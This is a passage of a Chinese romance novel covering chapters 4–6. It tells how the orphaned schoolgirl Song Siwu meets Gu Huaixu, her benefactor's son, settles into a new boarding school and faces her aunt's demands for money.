男人迅速扫了眼他的一身行头和背后那辆车,笑道:“哥们儿可以啊,品味不错。这车是租的吧?我说你们现在也太不厚道了,明目张胆地抢生意,人家美女都看上我们家了,你怎么还穷追不舍?”
宋司雾手指随意地把玩着卡片,嘴角扬起轻浮的笑,调侃道:“你们这行也搞竞争上岗啊。”
她没去看顾淮序,也知道此刻他脸色有多难看。
“嗐,现在内卷得厉害,同行抢生意的我们见多了。”
宋司雾点了点头,把卡片丢进包里,“今天没兴趣了,改天再来玩儿。”
男人瞥一眼顾淮序,知道没戏了。
帅到这种层次的模子哥,他们家还真没有。
宋司雾转过身,笑容未及眼底,“顾总还有事吗?没有我就先走了。”
顾淮序蹙了蹙眉,“这么晚了,你去哪。”
她手指正好碰到上衣口袋里的盒子,笑着提醒他:“还用问吗,您不是看到我刚才在便利店买的东西了吗?”
顾淮序无声地注视她片刻,风烟俱净的脸上终于露出一点别样情绪。
“司雾,不要再赌气。”
很久没有听到这个称呼,宋司雾僵了一下,眸底余潮搁浅,心脏像是被人用力握了一把,微微胀痛。
是不是就算她把心掏出来,他也只觉得她在赌气。
包里手机振动,宋司雾接起来,听到姜莱的声音:“宋宋,你还在餐厅吗,我这边解决完了,要不要过去接你?”
宋司雾弯唇,开口是一段极为流畅的德语。
“GutenAbend,Liebes.(晚上好宝贝。)”
姜莱在那头莫名其妙,看了下备注,确认号码没拨错。
“你在说什么外星语,我问你在哪儿呢?”
“Ichvermissedichauch,meineLiebe.(我也想你亲爱的,我现在就过去找你。)”
姜莱:“……”
刚想问她是不是喝多了,又听见宋司雾叽里咕噜地
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说了几句,就把电话挂了。
宋司雾当着顾淮序的面拦了一辆出租,刚上车,姜莱的电话又打过来,问她刚才怎么回事。
宋司雾勾过安全带扣好,唇角的笑凉下去。
后视镜映刻出那人的身影,夜色中颀长的一道,疏淡清寂。
她莫名有些心烦意乱。
姜莱问:“你刚才说的是什么?外国话?”
“德语。”
“你好好的跟我说德语干嘛?”
“不干嘛。”
姜莱不信,“你是不是碰见什么难缠的人,拿我当幌子呢?”
宋司雾不说话了。
“不会是顾淮序吧?”
宋司雾嗯了一声。
“……”
真被她猜中了。
姜莱回忆:“我记得你当年学德语还是他给你请的老师吧?”
顾淮序在德国留学多年,本硕博TUM,不可能听不懂德语。
姜莱问:“你刚说什么了?”
“没什么,就说我去找你。”
“就你刚才说话那撒娇语气,他肯定以为你晚上约了男人,还是德国男人。”
“为什么不能是男朋友。”
姜莱一愣,“……有区别吗?”
宋司雾想一想,对他来说好像也没区别。
随后她把餐厅的经过简单说了一遍。
姜莱听完在电话那头骂:“这姓易的真是色胆包天,成日惦记□□里那点事!我还以为他是想给他爸出气,真是高看他了,下三滥的玩意儿!”
经姜莱这么一提醒,她反应过来。
刚才在便利店门口顾淮序的那句话不是在说她,而是在说易。
他大概以为在餐厅那会儿姓易的是为了投资的事而找她麻烦。
这样一想,她确实在用最大的恶意揣测他。
是而他会那样问。
“宋宋,你是不是真对顾淮序死心了?”
宋司雾沉默片刻,低声说:“我不知道。”
夜色迷醉,她额头抵着玻璃窗,呼吸在上面蒙上一层淡白色水汽。
想起今天他叫她的名字,有种不真实的、百转千回之感。
原来在他面前演戏,并不会令她高兴。
那些激烈的、刻入骨血的回忆兜头袭来,放在膝上的手又开始抑制不住地颤抖。
她攥紧手指,指尖狠狠掐进肌肤,重新夺回身体的掌控权。
-
顾淮序驱车回了趟清檀苑。
这房子自从宋司雾走后就没动过。
除了定期有人过来保洁,所有物品都被要求保持原状。
刚进门,程斯年的电话打了过来,“你人呢,怎么走了也不打声招呼?”
顾淮序几分漫不经心,“出去透气。”
程斯年气得笑了一声,“大晚上的你透哪门子气?”
顾淮序单手抽掉领带,扔在沙发上,不大耐烦,“没事挂了。”
程斯年觉出他不对劲,试探问:“我听说她回来了?”
顾淮序没作声,过了片刻,才低低应了一声。
昨天西郊公馆的事程斯年也听说了,宋司雾当着众人的面让易海怀那个老狐狸吃了瘪。
以为他是担心这事儿,便劝道:“她毕竟是你教出来的,吃不了亏。你别忘了,当年她可是凭一己之力把帝都和南城都搅得天翻地覆……”
电话那边陷入死寂。
程斯年知道自己话多了,适时住嘴。
她离开那会儿几乎声名狼藉,不仅连累整个顾氏集团股票大跌,也叫顾淮序背上倒行逆施的悖德罪名。
这事在顾淮序那儿是个忌讳,平时无人敢提。
程斯年问:“你见过她了?”
“嗯。”
“那她这次回来是打算留下还是……”
“不清楚。”
那件事之后,宋司雾不告而别一走四年,旁人都道她忘恩负义没有良心。
局外人或许不清楚,但程斯年作为亲历的旁观者却看得明白。
“老顾,听我一句劝,事情过去这么久了,翻篇吧。”
顾淮序挂了电话,随手扔在茶几上,在客厅坐了许久。
他比任何人都希望翻篇。
但过了那么久,他却依然清楚地记得那张唇的滋味。
像淬了毒的匕首,午夜梦回的时候,一遍一遍凌迟着他,提醒着他。
从始至终,是他鬼迷心窍。
4. Chapter 04
九月,暴雨初歇。
顾淮序回老宅的路上,难得遇上了堵车。
广播提示前方高架发生车辆剐蹭,建议绕行。
红灯前停车,随手降下边窗,点了支烟,夏末初霁的凉风直往里灌。
顾淮序往斜前方瞥一眼,黄底黑框的三角形警示牌,中央两个小人,临街就是南城一中。
他少来这条路。
老宅位于东郊,环境清静,平时只有顾老爷子和照顾起居的管家居住,顾淮序每个月过去一次。
今次回去,原是应管家丁姨的一件嘱咐。
丁姨说,老爷子有个十分得力的旧部,姓宋。年纪不大,难得的是和老爷子脾气相投,一直以叔侄相称。
七年前宋氏夫妇遭遇空难,留下年仅十岁的独生女,送去舅舅家寄住。
前阵子小姑娘的舅舅获罪入狱,只剩舅妈一个亲人,老爷子担心小姑娘往后艰难,决定出钱资助。
为此,派人替小姑娘办了转学,在南城一中读高三。
丁姨托顾淮序今天接小姑娘回老宅见个面,也算了却老爷子一桩心愿。
不巧这两日丁姨告了假回去看顾生病的小孙女,原本安排的见面只好改到明天。
顾淮序本可以次日接上人再去老宅,但不想破坏每月为数不多的例行公事,还是决定今晚回去。
“跑啊,怎么不跑了?几天不见不认识我们啦?”
“我看你是念书念傻了吧,转学了不起啊?”
“老规矩,带钱了就赶紧拿出来,别逼我们动手。”
右侧人行道上,几个混混模样的年轻人围着一个女孩嬉笑。
一眼望去,那道身板瘦得过分,肩膀细窄,个头比别人矮上一截。
染了一头黄毛的男生拿磕在砖地上的伞尖捅了捅女孩的肩,单手扯过她头发,女孩被拖拽着往前踉跄几步,同伴顺势把背包抢了去,搜刮一遍扔在地上。
顾淮序从后视镜里看了一眼,把烟灭了。
片刻,交通灯跳转颜色,顾淮序车刚起步,下一秒便踩了急刹。
冷眼瞧去,刚才那几个少年不知何时涌到了街边,笑闹着把女孩搡到了马路中央。
女孩跌坐在车前,一身衣服浸了脏水。
纤细的胳膊挡在眼前,逆光下皮肤白得晃眼。
她不带一丝犹豫地从地上爬起来,冲上去夺过伞,朝带头欺负她的黄毛身上狠狠抡去。
黄毛表情吃痛,胡乱捞了一把,制住了凶器。
女孩顺势脱手,掉头就跑。
挟着夜晚的凉风和芳腥的泥水,人直接钻进顾淮序车里。
副驾一时遭了殃。
正值晚高峰,十字路口川流不息,后方车辆弄不清状况一味地鸣笛催促。
霸凌女孩的那伙人追到跟前,刚吃了亏的黄毛不肯罢休,也顾不上面前的车是几位数,直接冲过来拍车门,骂骂嚷嚷地要揪她下车。
女孩死死咬住下唇,僵持几秒,却听见车门落锁的声音。
顾淮序神色冷静,拉过副驾安全带从她身前越过,啪嗒一声扣上。
“坐稳了。”
引擎轰鸣,前方的人被逼得退开。
车子一瞬间驶出去,混乱和焦灼被全数抛在身后。
开了一段路,顾淮序才从后视镜里打量起今晚这位不速之客。
小姑娘年龄看着不大,不过十六七岁的光景。
巴掌脸,眼窝深凹,唇色惨白,长发被窗外灌进来的风吹得乱舞。
顾淮序把车窗升起来。
“受伤没有?”
女孩摇摇头,仿佛才回过神来,刚才打人时那股张牙舞爪的气势已然去了一半。
车载广播播报,高架已于五分钟前恢复通车,顾淮序没调头,只问:“住在哪儿,送你回去。”
“我没钱。”
女孩声音有些嘶哑,像混了盐粒。
顾淮序余光瞥她一眼,声淡如水,“我不是出租。”
女孩沉默两秒,低声说:“……把我放路口就行。”
车继续开,驶过两条马路,没半点减速靠边的意思。
女孩攥着安全带,平静重申:“麻烦前面停一下车。”
顾淮序没应,目光平视前方,全然一副专心开车的样子。
女孩逐渐不安起来,视线一直盯着窗外,身体不自觉地贴近车门,一只手悄然摸上侧边按键。
大概是设置了一键升窗的功能,副驾车窗应声落下,被一次性降到最底,夜晚的风混着水汽从窗口呼呼地灌进来。
顾淮序微微蹙眉,瞥去一眼。
女孩缩在门边,如临大敌的防备姿态。
一手搭在安全带卡扣上,一手扒着车窗,表情视死如归,仿佛时刻准备跳车逃跑。
很显然,这是拿他当变态了。
顾淮序收回目光,不咸不淡地开口:“敢随便上陌生人的车,现在才知道害怕是不是有点晚了?”
女孩看向他,唇抿成一线,目光带着不确信的探寻。
顾淮序淡声道:“这段路禁停,过了就放你下去。”
女孩顺势往窗外看了一眼,路两侧确实竖着禁止停车的标识。
意识到是个误会,女孩似乎松了口气,犹豫片刻,还是报出个地址。
顾淮序抬手,在屏幕上点了导航。
给的地址路途不远,十几分钟就到。
老城区这块道路陈旧,附近商铺的房子少说也有三十年历史,周围灯光昏暗,不像是有居民区的样子。
顾淮序将车泊停在路边,“是这儿?”
女孩点了点头,拿上包下车,她好像很清楚这种层次的车门无需猛掼,只轻轻阖上。
“抱歉,把您的车弄脏了。”
女孩站在路灯光源下,身影单薄,一阵风能吹走似的。
顾淮序未作声,往她身后漆黑处扫了一眼,拿出手机,“家人电话多少,叫他出来接你。”
女孩摇头,“不用了,我自己可以。”
顾淮序也不勉强,无可无不可地“嗯”了声。
“谢谢。”
风声簌簌,几片梧桐叶子打个圈儿落到她脚边,声音也被风吹得有些散。
顾淮序点一下头算作回应。
待人走远,发动车子离开了。
-
楼道的灯坏了,楼梯间堆了很多东西,昏暗拥挤。
宋司雾摸黑掏钥匙开门,锁芯有些锈顿,反复拧几圈才成功打开。
房子里空无一人。
她换掉鞋,走进逼仄的浴室,边洗澡边把换下来的脏衣服洗了。
淋浴头的水流冲刷过手掌,有点疼,才发觉右手手腕上方被蹭破一块。
这种小伤她习以为常,快速洗完,拿着衣服去阳台晾。
宋司雾往外随意扫了眼,霓虹街景被层叠交织的楼房挡得严严实实,看不见回来的路。
次日一早,去新学校办宿舍入住。
一中的学生大部分平时住校,只有周末和假期回家。
宋司雾在原来的学校是走读,这次转入南城一中,完全是托了关系的缘故。
她心里清楚,现下的情况若无人从中斡旋,不说转学,连读完高中都困难。
领了钥匙、舍卡和校服,宋司雾沿着走廊找门牌号。
虽未正式开学,但学生们均已返校。
宿舍楼每层都在进行清扫,装衣物的纸箱、书本,杂七杂八堆在走廊里。
宋司雾提着行李,找地方下脚。
“真碍事,堆这么多东西还让不让人走路了?”
走廊左侧,两三个女生正把地上的纸箱挨个踢开,堆在上面的书呼啦啦往下掉。
对面宿舍听到动静,出来一个短发女生,看见地上狼藉一片,顿时傻了眼。她没胆子责怪,只撇撇嘴,闷声蹲下往怀里捡书。
宋司雾走近,看了眼短发女生身后的门牌号,402——就是这儿。
她两手提着包,冲另一边:“麻烦让让。”
语气不善,冰冷又古怪,对方不明所以,向后退两步。
她没再往前走,包搁在脚边,弯腰把剩下几本书捡起来,掸掸灰。
刚给她让步的女生剪了一头漂亮的公主切,好似这会儿才反应过来,拧着眉上下打量她。
宋司雾穿一件短袖衫,脖领处被洗得呈波浪状,下摆松松垮垮的,脚上一双灰球鞋,旁边搁一只蓝红白尼龙编织袋。
公主切嫌弃之心更甚,眉头紧皱,提着嗓子问:“你是谁啊?”
一旁的短发女生恍然大悟,“你是理科班的新同学?”
宋司雾点点头,把书还给她。
公主切仿佛听见了什么天方夜谭,丝毫不加掩饰地嘲弄:“原来是转校生啊,我还以为到宿舍楼来拾荒的呢。”
401的女孩子们笑作一团。
宋司雾睨了眼带头挑衅的公主切。
仿佛不经意般。
抬脚。
横在走廊中间的凳子“哐当”一声被踢倒。
周围人被这巨大动静吓了一跳。
“你有病吧!”
公主切穿着小皮鞋,差点被砸了脚,气得不行,这会儿看宋司雾跟看疯子似的。
宋司雾眼都没眨一下,提包转身进了宿舍。
短发女生愣了愣,这才反应过来,连忙跟上。
关上门,外头动静没停,乱哄哄的,话更加难听。
宋司雾径自卸下肩膀上的书包,无动于衷的样子
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短发女生替她着急,怕被人听见似地压低声音:“你胆子也太大了吧,明曦也敢惹。”
宋司雾偏过头,随口问:“她很厉害吗?”
短发女生点点头。
宋司雾也点头,目光落到宿舍门上,冷不丁开口:“这门结实吗?”
“门?应该结实吧。”
还以为对面会破门而入,结果等了一会儿,一群人放了会儿狠话,外面就没声儿了。
短发女生瞧着她,突然扑哧一声笑出来:“我看出来了,你根本不怕她。”
宋司雾不置可否。
短发女生说她叫朱楠。
据朱楠说,带头挑衅的公主切叫明曦,也是理科班的,大小姐脾气,因为家里有点背景,在学校基本无人敢惹,401住的都是和她一个鼻孔出气的小姐妹。
朱楠抱着玩偶靠在椅子里,一边咬优酸乳的吸管,一边绘声绘色地给她描述“明大小姐”的事迹。
“你来之前,我们宿舍都是文科班的,之前睡你床位的那个女生休学了,所以空出一个。平时我们和对面基本不打交道,今天也是因为收拾宿舍才会闹出矛盾。谢谢你刚才帮我啊,明曦不好说话,这回估计是得罪上她了。”
宋司雾听完这番话,没太多反应,只不咸不淡说了句没事。
朱楠撇撇嘴,不知道她是在说帮忙没事,还是说得罪明曦没事。
下午朱楠去了图书室自习,宋司雾留在宿舍,给舅妈发了条短信。
和之前一样,没人回。
她不知道吴晓岚这半个月去做了什么,但音讯全无不是什么好事。
收拾好床铺,宋司雾换上校服,借着盥洗室的镜子打量自己。
浅蓝衬衫,胸口是月白色丝线绣的校徽,配一块精巧的银色铭牌,下身是灰色及膝半裙,褶子熨帖锋利。
果然人靠衣装。
以前那套校服又宽又肥,能塞下两个她,她照样穿了两年。
傍晚出门时正好碰见朱楠回来。
她递过奶茶,脸上挂着明媚的笑,“校门口买的,谢谢你早上帮我。”
宋司雾默了一瞬,说不用。
朱楠摸不清宋司雾的脾性,笑说:“不知道你喜欢喝什么牌子,就买了这个。纯牛乳的,你喝喝看,味道挺好的。”
宋司雾没再说什么,道了谢,正要去接,垂在身侧的右手不受控制地震颤。
她蜷紧手指,指尖掐进掌心,用另一只手接过,拎着奶茶径直出了校门。
路过垃圾桶的时候犹豫了一下,还是没扔进去。
“宋宋!”
隔了很远听见有人喊她。
循声望过去,瞧见姜莱嘴里叼着根冰棒,冲她猛挥手。
姜莱比宋司雾大一岁,也读高三,两人从小一块儿长大。
校门口的教辅书店就是姜莱爸爸开的,这会儿店里没人,她就坐在店门口打游戏。
冰棒吃完了,姜莱扬手朝几米开外的垃圾桶一掷,进了。
宋司雾走到跟前,姜莱往她手里瞧,“芋泥啵啵,厚乳换鲜奶……别人给的?”
“嗯。”
姜莱瞅着她,明知故问:“我帮你喝了?”
宋司雾从小奶制品过敏,像奶茶、冰激凌这种东西向来无福消受。
姜莱拆开吸管,八卦兮兮地冲她笑,“刚来就有人献殷勤了,老实交代,哪个班的?”
宋司雾说:“不是男生送的,你放心喝。”
姜莱笑了笑,夸她出息了,男女通吃。
包里电话响,宋司雾翻出手机。
很旧的翻盖款式,银色外壳,一些部位因为磨损掉漆已经露出了原本的黑色,这种手机放现在只能接打电话和发短信,姜莱总笑她用的是“老年机”。
宋司雾接起电话听了会,答了句好就挂了。
姜莱见她这反应,凑过去瞧手机屏幕,上面是一串没有备注的号码。
宋司雾敛眸,收起手机,“我先走了。”
一中虽然临街,但正门这条路不是主干道,非上下学时间来往的车辆并不多。
这会儿天光疏淡,残阳落在街道上,梧桐树下停了辆黑色迈巴赫,车里人的轮廓隐隐绰绰。
宋司雾走近几步,司机从驾驶位上下来,恭敬唤她:“宋小姐。”随后上前为她拉开后座车门。
眸光一顿,对上一张似曾相识的脸。
眉骨高挺,冷眼不笑,点漆般的眸子看过来时仿如鹰隼,审视意味十足。
“你就是宋司雾?”
男人嗓音低磁沉稳,如浮冰下流动的暗河,被风挟着淌进耳里。
她缓慢而机械地点一下头,嗅到车内几分清冽的雪松气味。
和昨晚一样。
5. Chapter 05
宋司雾对顾家的了解大多来自父母的只言片语。
顾氏集团是南城赫赫有名的龙头企业,在全国各地也有颇多产业,宋父宋正韬年轻时为顾氏效力多年。
宋司雾幼时曾在爸爸书房里翻看过旧相册,里边夹着集团年会的合影。
其中一张是几位股东、高管携家眷围桌交谈。
坐在顾董事长身边、气质温婉出尘的美人,就是长女顾釉如。知名画家,经常全球各地办画展。
而眼前这位,应该就是顾爷爷的另一个孩子——顾淮序。
藤校毕业,与姐姐顾釉如相差十几岁。
算起来,顾淮序算是她的长辈,喊一声“叔叔”也不过分,只不过——
“顾先生。”
她早已不是谁的掌上明珠,这样的称呼似乎更合她的身份。
顾淮序不甚在意,略点一下头,示意她上车。
车厢里一股清冽克制的冷香,宋司雾不禁耸了耸鼻子。
这味道初闻时觉察不出特别,细细嗅来,倒有点“一种清孤不等闲”的意味。
身侧的男人靠在椅背上,一身衬衫西裤,外套未系扣,天光笼罩下显得他肃然的气场比昨晚稍稍柔和了一些。
宋司雾只看了一眼便收回目光。
这段时间她转学的事宜一直由顾董事长的秘书操办,方才的电话也是对方打来的,因此她理所当然认为会是那位霍秘书带她去顾宅,没想到却是顾淮序亲自来接。
昨天没注意,现在看来,他与年轻时的顾釉如的确相似,眉眼生得一样好看。
除了上车时问了她名字,倒是没追询其他,似是没认出她。
九月的傍晚依旧闷热,车里开了冷气,车窗紧闭。
风扫树叶,沙沙作响,由玻璃过滤成细微的白噪音。
宋司雾刚坐定,顾淮序就接了个电话。
车厢内安静,纵然她无意探听通话内容,依旧能隔着听筒捕捉一二。
对面是个年轻的男声,貌似是有棘手的事情拿不准,特地来问顾淮序的意思。
“审计那边怎么说?”
“问题比想象中严重,赵修梁是虔业总那边的人,一直负责管理子公司的信托……这次突击审计发现光去年一年就亏了八百多万,多半是进了他自己口袋……”
顾淮序嗓音寡冷:“你看着处理,该怎么办就怎么办。”
“那虔业总那边……”
“有问题叫他自己来找我。”
挂了电话,车厢内重新安静下来,只有空调出风口孜孜不倦地往外喷着冷气。
东郊远离市区,开过去最快也要一个小时。
宋司雾正襟危坐,一路上盯着窗外游走的风景发呆,不敢乱动。
饶是如此,长时间坐车就反胃的毛病还是犯了。
坚持了大半段路程,胃里的不适感愈发强烈。
她自作主张将窗户降下一点缝,外头的空气钻进来一些,难受的感觉却没改善多少。
一路闭目养神的顾淮序忽然伸手,露出一截冷白腕骨,打开了中控扶手区的储物格。
“里面有薄荷糖。”
声淡如水,透着些漫不经心。
宋司雾愣了下,顺着他的话看过去,储物格里确实放着几颗糖果。
绿色包装,是个外国牌子,以前爸爸车里也常备这个。
她摸一个柚子口味的出来,撕开糖纸,糖送嘴里,强劲的薄荷气息直冲鼻腔。
“晕车?”
宋司雾轻嗯了一声,“有点儿。”
顾淮序抬手敲了敲车后座挡板,司机会意,将后侧边窗尽数打开,新鲜空气顺势涌入。
宋司雾用余光浅浅瞥去一眼,男人又恢复了刚才那副假寐的样子。
到了东郊,就离目的地不远了。
老宅地处偏僻,前后都有诺大的庭院,葱郁荫蔽。
中央砌着一方池塘,养了几尾不爱动弹的红鲤。
顾淮序领着宋司雾穿廊进屋,和丁姨打招呼。
丁姨在顾家二十几年,老宅基本由她打理。说是管家,实际算得上大半个顾家人,众人待她都很尊敬。
宋司雾跟着叫人。
丁姨颔首笑了笑,客气应道:“这位就是宋小姐吧。”
宋司雾垂眼,“您喊我名字就好。”
丁姨点点头,不由得打量起她。
小姑娘梳一把马尾,皮肤白白净净的,模样乖巧,看起来比同龄人略矮一些,穿着简单的校服,显得清爽大方。
顾淮序来了个工作电话,让丁姨去帮请一下老爷子。
丁姨应声,又招呼宋司雾:“小宋姑娘先坐,桌上有点心,饿了可以先用一些。”
宋司雾点头。
“小舅回来啦。”
一个十八九岁的男生从二楼下来,冲顾淮序打招呼。
利落的前刺短发,身上罩一件潮牌兜头卫衣,抢眼的亮橙色。
顾淮序点一下头,转身去外面接电话。
男生往皮质沙发里一坐,翘起二郎腿,瞥了眼宋司雾身上的校服,单刀直入:“你之前念的什么学校?”
宋司雾默了一瞬,如实说:“Z中。”
“南城有这学校?”他听都没听过。
“你现在在几班?”
“十四班。”
“靠,居然跟我同班。”男生嗤一声,下了结论,“别以为你进了一中就能考上大学,差生到哪儿都没用。”
宋司雾没作声,只睇他一眼。
他问她:“你看什么?”
“这不关你的事。”
男生顿时气不打一处来。
刚要发作,一道冷峻的声音突然插进来。
“连桐。”
看见顾淮序进来,男生立时住了声,从沙发上站起来,笑了笑,“小舅。”
连桐是家中独子,父母又常年不在国内,平日无拘无束惯了。
长辈之中,唯独对他这位素日不苟言笑的小舅还有几分怵。
连桐冲顾淮序龇了龇牙,说自己还有事,一溜烟上楼去了。
宋司雾立在一旁,神色淡淡的,仿佛什么都没发生。
顾老先生年逾七十,但精神矍铄,中气十足。
见到宋司雾时甚是高兴,闲聊几句,又问她今年多大了。
“下个月满十八。”
老爷子欣慰地点点头,露出和蔼的笑容,“以后就拿这儿当自己家,放假了常来,喜欢吃什么叫厨房替你准备。”
宋司雾温声答好。
丁姨提前烹了茶,碧色茶汤漾在杯盏里,搁在金丝楠木的茶盘上,淡白色的热气缓缓飘散开。
老爷子:“来,尝尝今秋新采的茶叶。”
宋司雾依言呷了一口,涩苦甘凉,味道甚是浓郁。
老爷子浅酌一口,皱了眉,“丁管家这记性是越来越像我了,泡的还是我平时的茶叶。喝不惯吧,叫他们给你换。”
宋司雾忙说:“不用了顾爷爷,我喝得惯。”又顿了顿,“这是苦丁茶吧。”
老爷子很是惊讶,“这茶偏苦,喝的人少,怎么你倒认识?”
宋司雾答得不疾不徐:“苦丁归肺经,疏风清热,明目生津,小时候在老师家补习,盛夏时会拿来清热降火。”
顾淮序挽了衣袖去洗手时,丁姨正在准备果盘,洗净的新鲜车厘子颗颗红润饱满。
余光觑见宋司雾坐在客厅沙发上,腰背挺直,浅色校服套在她身上,显得身形更加单薄。
老爷子说话她听得认真,时而附和几句,也颇有分寸。
丁姨放下果盘,走过来擦了擦手,朝客厅瞅了一眼,感叹:“这小姑娘也是可怜哦。父母去得早,还摊上那么个亲戚。听小霍说,她舅妈为了拿私立学校的好处,中考分数过线了都不让读一中,硬是在私立学校待了两年。前阵子让老先生知道了,这才转学。”
顾淮序听完微微点头,没作评价。
他看得透彻,知道丁姨这番话不是老爷子的授意,多半是出于对宋司雾境遇的同情。
毕竟老爷子和昔日下属的感情向来深厚,用不着叫旁人在他面前虚与委蛇。
没说几句,丁姨的话峰又转移到他身上。
“上次你带回来的酒,老先生没让动,我给放酒窖了。你别怪我唠叨,每次回来,吃顿饭就走,一年到头在家待的日子两只手都数得过来。你姐说得对,你和老先生是一个脾气。父子间哪有过不去的坎儿,要像这样僵到几时……”
顾淮序听着,往客厅里淡淡瞟了眼,捻起一颗车厘子,很自然地将话题扯开,“挺新鲜的,您不拿去给人尝尝?”
丁姨一拍手,这才想起果盘没上,“人老了记性也不好,光顾着跟你说话,差点把这茬儿给忘了。”
连桐的父母不在国内,这顿饭加上丁姨只有五个人,菜色大多是按宋氏夫妇家乡口味做的,精致考据。
可能受“食不言寝不语”的家规约束,一顿饭吃得安静。
晚餐结束后,老爷子让宋司雾搭顾淮序的车回学校,还嘱咐她以后常来。
今晚司机不在老宅,顾淮序先一步去开车,丁姨陪宋司雾等在院子里。
丁姨年逾半百,又是有孙辈的人,注意到宋司雾瘦得过分,晚饭用的也不多,忍不住叮嘱。
“在学校要照顾好自己,平时多吃一点,女孩子这么瘦总是不好。旁的不说,身体可是自己的。”
宋司雾点头,如数应下来。
她长了一张讨长辈喜欢的脸,说话做事也是文文静静的,虽说家道中落,谈吐举止却颇有闺秀的云淡风轻。
丁姨问她:“你现在是住校?”
“是。”
“先前的房子在哪儿?”
“市图书馆附近。”
丁姨点头,“那是有些远,还是住校方便。”
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顾淮序这时从玄关出来,站到两人身后,清落矜贵的一道身影,眼底染了两分疲色。
宋司雾率先注意到,心口一紧,下意识喊:“顾先生……”
丁姨回头看去,嗔了一声:“悄默声儿就出来了,吓我一跳——不是去取车?”
“跟老爷子说两句话。”顾淮序略有深意地看一眼宋司雾,淡声:“走了。”
回程途中安静,一路上只听得到新风系统运行的声音。
返程比来程快,到学校不过八点。
顾淮序把车泊停在路边,转头去瞧宋司雾。
“学校手续都办完了?”
“办完了。”
“学的文科理科?”
“理科。”
静了数秒,见他没有其他交代,道了谢,解开安全带,去拉车门。
顾淮序手搭在方向盘上,余光觑她一眼,“昨晚那些人,认识吗?”
宋司雾开门的动作一滞,没想到他会问这个。
“不认识。”她下意识说谎。
顾淮序:“以前学校的?”
宋司雾一言不发,不自觉抿唇,显然不想提。
顾淮序没问下去,伸手从后座捞出一只纸袋给她。
鼓鼓囊囊的,有点份量。
“这是?”宋司雾捧着袋子,当着他的面直接打开。
碘伏棉签、生理盐水、无菌敷贴、消炎药膏……
角落里还有张名片,烫金工艺,没加任何修饰前缀,单印着名字和号码。
手心不自觉地收紧几分,右手掌根的伤口微微发痛。
张了张口,一时竟不知该说些什么,只挤出两个字:“……谢谢。”
校服上衣是长袖,今天她一直小心翼翼把伤藏进袖口,不知什么时候被注意到的。
顾淮序声音薄冷,好似不经意的一问:“你昨晚下车的地方好像不在市图附近?”
他目光极深,幽潭一般,仿佛轻易能将人看穿。
宋司雾轻轻抿唇。
这话的意思不言而喻。
刚才她和丁姨说话他都听见了。
昨天她故意告诉他错误的住址,下车后走了半个小时才到家。
她有心防范,自认为没有做错。
但对方的身份摆在这儿,人在屋檐下,该低头的时候还得低头。
“抱歉顾先生,我不是有意隐瞒。但昨天那种情况,我认为我做的没有问题。”
小姑娘神色笃定坦然,有理有据。
那表情好像在说:虽然我骗了你,但我不是故意的,你不能怪我。
明明有些耍赖的嫌疑,偏叫人生不起气来,可能是因为那双玻璃珠子般乌沉沉的眼睛,质地湿濛,过分纯净,仿佛空山新雨不染纤尘。
顾淮序淡声:“我没说你做的有问题。”
宋司雾:“……”
那他是什么意思?
她不明白。
听口气似乎也并未觉得她的做法有什么不妥,难道就单纯为了拆穿她?
顾淮序没再多言,只很官方地交代:“你很聪明。以后再碰到这种事,直接报警。”
说这话时他面上依旧淡淡的,看不出多余的情绪。
这人似乎一贯如此,严肃内敛,说话不咸不淡,对什么事都云淡风轻的样子。
宋司雾嗯了一声,自觉这番交谈已经结束,下车,阖上门。
顾淮序手臂撑着窗沿,眼看路灯将她的影子在地上拉得细长,直到消失不见,开车走了。
回到宿舍楼,宋司雾发觉手机上有一通未接来电,是个陌生号码。
没一会儿又打过来。
她有股直觉,盯着屏幕数秒,去到走廊尽头,接起来。
“死哪儿去了?现在有人给你撑腰胆子大了是吧?”
她平静地开口:“什么事。”
“他们给你钱了吧?”
宋司雾迅速分辨出吴晓岚口中的“他们”是谁,没作声。
吴晓岚在电话那头哼了一声:“明天先打一万过来,我把卡号发你。”
宋司雾不带什么情绪地问:“你要钱干嘛?”
“你个没良心的,白养你这么多年。当年你没了爸妈,要不是我和你舅舅把你领回家,当亲女儿一样对待,给你吃给你穿,你能有命活到今天?
“别以为我不知道,现在攀上人家了,捡了高枝儿就想飞了,想和我们撇清关系,门儿都没有!”
“你在哪儿?”
“让你打钱你就打,少问那么多废话。”
宋司雾异常地冷静,嗤了声,“你不会是想拿钱去救你丈夫吧?”
吴晓岚气得咬牙切齿:“小贱人,我拿不到钱,你也别想好过!”
宋司雾站在走廊里,视线飘向窗外,弯月如钩,清亮地挂在天边。
她听见自己的声音:“好啊,那就看到底谁不好过。”
6. Chapter 06
两天后,南城一中正式开学。
学校为高三毕业班单独辟了一栋教学楼,文理科分在不同楼层。
宋司雾所在的十四班在六层,周五课间,她绕到文科班找姜莱吃午饭。
两人在食堂二楼点了麻辣烫。
姜莱边吃边跟宋司雾吐槽,说上回同班几个男生看见她俩在校门口说话,第二天跑来找她要微信。
“我跟他们说你没有,他们还不信,说这年头谁不用微信啊,我真冤死了……”
宋司雾听她抱怨完,冷不丁开口:“下午我要去趟网吧。”
姜莱叼着鱼丸抬头,声音囫囵,“去网吧干嘛?”
“查点东西。”
姜莱摆了摆手,以为她要查题,“不用那么麻烦,我手机借你,或者去我爸店里,电脑随你用。”
宋司雾筷子戳着米饭,没吭声。
姜莱从小认识宋司雾,对她家那档子的事多少了解。
见她这个反应,立时猜到几分,往她碗里夹了两只没染上红油的虾,说:“学校后门有几家,放学我陪你去。”
宋司雾说:“我自己去就行。”
姜莱勾着唇提醒:“你去老板不给你开机子。”
“身份证借我。”
姜莱哭笑不得,“合着你今天来找我吃饭就为了这个是吧?”
宋司雾认真地看着她,“晚上想吃什么我请。”
“……”
姜莱投降,直接把东西给她。
她能不知道这小妞嘛,兜比脸还干净。
和姜莱深邃的骨相不同,宋司雾的长相偏清冷,皮肤白,这会儿低头吃饭,睫毛在眼下拓出一层薄影。
模样看起来无害,但因为不太爱笑,总给人感觉从内而外透着股冷。
盯着这张又乖又纯的脸瞧了半天,姜莱突然想到个问题:“咱俩长得不一样,到时候老板不认咋办?”
宋司雾放下筷子,拿着身份证照一本正经看了看。
“没事,我可以丝袜蒙面。”
“……”
姜莱翻过白眼。
听她扯。
饭吃到一半,食堂开始发放免费的汤饮,今天是冬瓜排骨汤,只有冬瓜没有排骨的那种。
一中是南城最好的公立高中,以严格的教学管理和高升学率闻名,校内设施条件和德威、惠灵顿那些国际贵族学校自然不能比,但也不差。
唯独能拿来吐槽的就是食堂。
